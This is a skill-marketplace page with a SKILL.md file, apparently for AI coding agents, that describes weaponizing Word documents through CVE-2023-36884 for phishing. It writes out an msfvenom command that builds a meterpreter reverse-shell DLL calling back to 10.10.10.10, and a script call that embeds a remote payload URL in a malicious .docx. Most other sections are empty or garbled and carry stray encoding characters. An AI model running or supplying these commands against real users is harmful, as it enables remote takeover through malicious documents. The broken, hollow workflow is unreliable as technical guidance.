ShulkwiSEC/bb-huge / skills/curated/cve-2023-36884-office-rce
cve-2023-36884-office-rce
VerifiedExploit CVE-2023-36884, a critical Remote Code Execution vulnerability in Windows and Office associated with the Storm-0978 APT. This skill covers the weaponization of malicious Word documents to achieve code execution upon opening, bypassing Mark-of-the-Web (MotW) defenses.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 3.9 KB |
| evals/evals.json | config | 536 B |
| scripts/process.py | script | 7.8 KB |
SKILL.md
View on GitHub---
name: cve-2023-36884-office-rce
description: >
Exploit CVE-2023-36884, a critical Remote Code Execution vulnerability in Windows and Office
associated with the Storm-0978 APT. This skill covers the weaponization of malicious Word
documents to achieve code execution upon opening, bypassing Mark-of-the-Web (MotW) defenses.
domain: cybersecurity
subdomain: red-teaming
category: Phishing
difficulty: expert
estimated_time: "4-6 hours"
mitre_attack:
tactics: [TA0001, TA0002]
techniques: [T1566.001, T1203]
platforms: [windows, office]
tags: [cve-2023-36884, phishing, rce, office-macros, red-teaming, apt]
tools: [metasploit, msfvenom, custom-scripts]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---
# Exploiting CVE-2023-36884 (Office RCE)
## When to Use
- When conducting advanced Red Team operations where initial access relies on sophisticated spear-phishing campaigns.
- To demonstrate the impact of unpatched Office and Windows environments, especially regarding vulnerabilities actively exploited by Advanced Persistent Threats (APTs).
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Workflow
### Phase 1: Understanding CVE-2023-36884
```text
# Concept: CVE-2023-36884 ```
### Phase 2: Payload Generation
```bash
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll > payload.dll
```
### Phase 3: Weaponizing the Office Document
```bash
# python3 weaponize_doc.py -t template.docx -p payload.dll -u http://10.10.10.10/payload.dll -o malicious.docx
```
### Phase 4: Delivery and Execution
```text
# ```
#### Decision Point π
```mermaid
flowchart TD
A[Craft Document ] --> B{MotW Bypassed ]}
B -->|Yes| C[Achieve Execution ]
B -->|No| D[Modify Payload ]
```
## π΅ Blue Team Detection & Defense
- **Patch Management**: **Attack Surface Reduction (ASR)**: **MotW Enforcement**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Cve 2023 36884 Office Rce β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## π Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β Verified disclosed bounties by vulnerability class
## References
- MSRC: [CVE-2023-36884 - Office and Windows HTML Remote Code Execution Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884)
- Microsoft Security Blog: [Storm-0978 attacks reveal financial and espionage motives](https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |